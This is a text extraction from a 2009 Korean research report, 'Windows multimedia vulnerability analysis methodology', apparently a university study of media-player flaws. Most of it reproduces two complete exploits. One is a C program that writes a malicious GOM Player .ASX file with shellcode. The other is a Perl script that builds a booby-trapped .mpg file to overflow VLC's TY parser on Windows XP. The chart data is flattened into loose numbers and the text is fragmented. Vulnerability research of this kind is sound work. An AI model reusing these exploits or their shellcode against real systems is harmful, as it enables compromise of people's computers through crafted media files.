윈도우 멀티미디어 취약점 분석 방법론 연구 수탁기관 : 한양대학교 산학협력단 2009. 09
25,000 2008 2009(1~8월 ) 20,000 15,000 11,818 10,000 5,000-11,362 3,344 2,756 603 173 2-366 165 1 1 기업 대학 비영리 연구소 네트워크 기타(개인) 기업 19% 대학 2% 비영리 1% 기타(개 인) 78% 네트워크 0% 연구소 0%
25,000 20,000 Windows Linux 19,128 22,193 15,000 10,000 5,000 10,106 10,834 2,750 2,744 2,063 3,616-2009(~8월) 2008 2007 2006
/*------------------------------------------------ * GOM Player 2.0.12 (.ASX) Stack Overflow Exploit *------------------------------------------------- * [_>Exploit Code by:data_sniper * [_>Greetz: Arabic and algeria hackerz,arab4services.net and AT4RE Teams. * [_]My blog:http://datasniper.arab4services.net * NOTIFICATION: * The vulnerabilty was reported by Parvez Anwar in Secuina after that i discovered it so all rights goes to Parvez Anwar. * i used internal address (in GOM.exe) to JMP and run the shellcode so the exploit is Universal. * http://secunia.com/advisories/23994 * SEH Methode can be implemented for variant exploit. */ #include <stdio.h> #include <windows.h> unsigned char Header1[] = /*ASX data in unicode format */ "\xff\xfe\x3c\x00\x61\x00\x73\x00\x78\x00\x20\x00\x76\x00\x65\x00\x72\x00\x73\x00\x69\x00\x6f\x00\x6 E\x00\x20\x00\x3D\x00\x20\x00" "\x22\x00\x33\x00\x2e\x00\x30\x00\x22\x00\x20\x00\x3e\x00\x0d\x00\x0a\x00\x3c\x00\x65\x00\x6e\x00\x 74\x00\x72\x00\x79\x00\x3E\x00" "\x0d\x00\x0a\x00\x3c\x00\x74\x00\x69\x00\x74\x00\x6c\x00\x65\x00\x3e\x00\x48\x06\x2f\x06\x27\x06\x 39\x06\x27\x06\x20\x00\x23\x06\x4A\x06\x47\x06" "\x27\x06\x20\x00\x27\x06\x44\x06\x28\x06\x37\x06\x44\x06\x2e\x00\x6d\x00\x70\x00\x33\x00\x3c\x00\x2 F\x00\x74\x00\x69\x00\x74\x00" "\x6c\x00\x65\x00\x3e\x00\x0d\x00\x0a\x00\x3c\x00\x72\x00\x65\x00\x66\x00\x20\x00\x68\x00\x72\x00\x 65\x00\x66\x00\x20\x00\x3D\x00\x20\x00\x22"; unsigned char Header2[] ="\x22\x00\x20\x00\x2f\x00\x3e\x00\x0d\x00\x0a\x00\x3c\x00\x2f\x00\x65\x00\x 6E\x00\x74\x00\x72\x00\x79\x00\x3E\x00\x0D\x00\x0A\x00\x3C\x00\x2F\x00\x61\x 00\x73\x00\x78\x00\x3E\x00\x0D\x00\x0A\x00"; /*windows/exec - 144 bytes,encoder: x86/shikata_ga_nai,exitfunc=process, CMD=calc*/ unsigned char Shell[] = "\x31\xc9\xbd\x90\xb7\x29\xb8\xd9\xf7\xd9\x74\x24\xf4\xb1\x1e" "\x58\x31\x68\x11\x03\x68\x11\x83\xe8\x6c\x55\xdc\x44\x64\xde" "\x1f\xb5\x74\x54\x5a\x89\xff\x16\x60\x89\xfe\x09\xe1\x26\x18" "\x5d\xa9\x98\x19\x8a\x1f\x52\x2d\xc7\xa1\x8a\x7c\x17\x38\xfe" "\xfa\x57\x4f\xf8\xc3\x92\xbd\x07\x01\xc9\x4a\x3c\xd1\x2a\xb7" "\x36\x3c\xb9\xe8\x9c\xbf\x55\x70\x56\xb3\xe2\xf6\x37\xd7\xf5" "\xe3\x43\xfb\x7e\xf2\xb8\x8a\xdd\xd1\x3a\x4f\x82\x28\xb5\x2f" "\x6b\x2f\xb2\xe9\xa3\x24\x84\xf9\x48\x4a\x19\xac\xc4\xc3\x29" "\x27\x22\x90\xea\x5d\x83\xff\x94\x79\xc1\x73\x01\xe1\xf8\xfe" "\xdf\x46\xfa\x18\xbc\x09\x68\x84\x43"; int main( int argc, char **argv ) { char payload[4563]; char junk[4171];/*overflow trigger*/ unsigned char RET_Univ[] = "\x77\x45\x46\x00"; // JMP ESP in GOM.exe this make it universal, & don't worry about nullbyte,greetz go to unicode ;) /*char RET_sp2 = "\xf3\xc3\xe1\x77" /* if im wrong up there, use this => JMP ESP in kernel32.dll XP SP2 fr */ unsigned char nop[] = "\x90\x90\x90\x90\x90\x90\x90\x90"; //Nops FILE *f; printf("gom Player 2.0.12 (.ASX) Stack Overflow Exploit by DATA_SNIPER\r\n"); printf("---------------------------------------------------\r\n");
memset(junk, 0x41, 4171); printf("[_] Building Exploit..\r\n"); memcpy( payload, Header1, sizeof( Header1 ) - 1 ); memcpy( payload + sizeof( Header1 ) - 1, junk, 4172 ); memcpy( payload + sizeof( Header1 ) + sizeof(junk)-1, RET_Univ, 4 ); memcpy( payload + sizeof( Header1 ) + sizeof(junk)+sizeof(ret_univ)-2, nop, sizeof(nop)-1 ); memcpy( payload + sizeof( Header1 ) + sizeof(junk)+sizeof(nop)+sizeof(ret_univ)-3, Shell, sizeof( Shell ) - 1 ); memcpy( payload + sizeof( Header1 ) + sizeof(junk)+sizeof(ret_univ)+sizeof(nop)+ sizeof(shell)-4, Header2, sizeof( Header2 ) - 1 ); f = fopen( "GAZA.asx", "wb" ); if ( f == NULL ) { printf("[_] Cannot create file\n"); return 0; } fwrite( payload, 1, sizeof(payload), f ); fclose( f ); printf("[_] GAZA.asx file Created,have unf :)\r\n"); return 0; }
#!/usr/bin/perl # 10/21/2008 k`sose use warnings; use strict; # windows/exec - 141 bytes # http://www.metasploit.com my $shellcode = "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01". "\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01". "\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2". "\xeb\xf4\x3b\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66". "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89".
"\x5c\x24\x04\xc3\x5f\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b". "\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x89\xf8\x83\xc0\x6a". "\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff\xe7". "\x43\x3a\x5c\x57\x49\x4e\x44\x4f\x57\x53\x5c\x73\x79\x73". "\x74\x65\x6d\x33\x32\x5c\x63\x61\x6c\x63\x2e\x65\x78\x65". "\x00"; usage() if(!defined(@argv) or scalar(@argv) < 1 or $ARGV[0]!~ /^\d$/ or $ARGV[0] > 1); my @targets = ( "\x24\x11\x62\x77", # jmp esp @ shell32.dll - Win XP SP1 "\xb3\x57\x04\x7d" # jmp esp @ shell32.dll - Win XP SP2 ); my $junk = "\x41"; open(my $file, "> evil.mpg"); print $file "\xf5\x46\x7a\xbd". # TIVO_PES_FILEID "\x00\x00\x00\x02". "\x00\x02\x00\x00". # CHUNK_SIZE $junk x 8. "\x00\x00\x05\x41". # i_map_size $junk x 4. "\x00\x00\x05\x49". # SEQ table size / (i_map_size + 8) == 1 $junk x 60. $targets[$argv[0]]. $shellcode. $junk x 130835. "\x05". # i_num_recs $junk x 3. "\x05". # p_hdrs $junk x 1. "\x09". # subrec_type \ # (subrec type & 0x0f) << 8 rec_type == 0x9c0 -> AC-3 Audio (DTivo) "\xc0". # rec_type / $junk x 14. "\x06". # subrec_type \ # (subrec type & 0x0f) << 8 rec_type == 0x6e0 -> Series 1 Tivo "\xe0". # rec_type / $junk x 531062; sub usage { print <<EOM; VLC Media Player TY File Stack Based Buffer Overflow Exploit k`sose - 10/21/2008 usage:
$0 <target> targets: EOM exit; } 0 - Windows XP SP1 1 - Windows XP SP2
18 16 14 12 10 8 6 4 2 0 mid pls mp4 m3u xspf mpg rt pla wav
CVE-2007-6478 (m3u) CVE-2007-0707
(pls) CVE-2007-0707 (pls)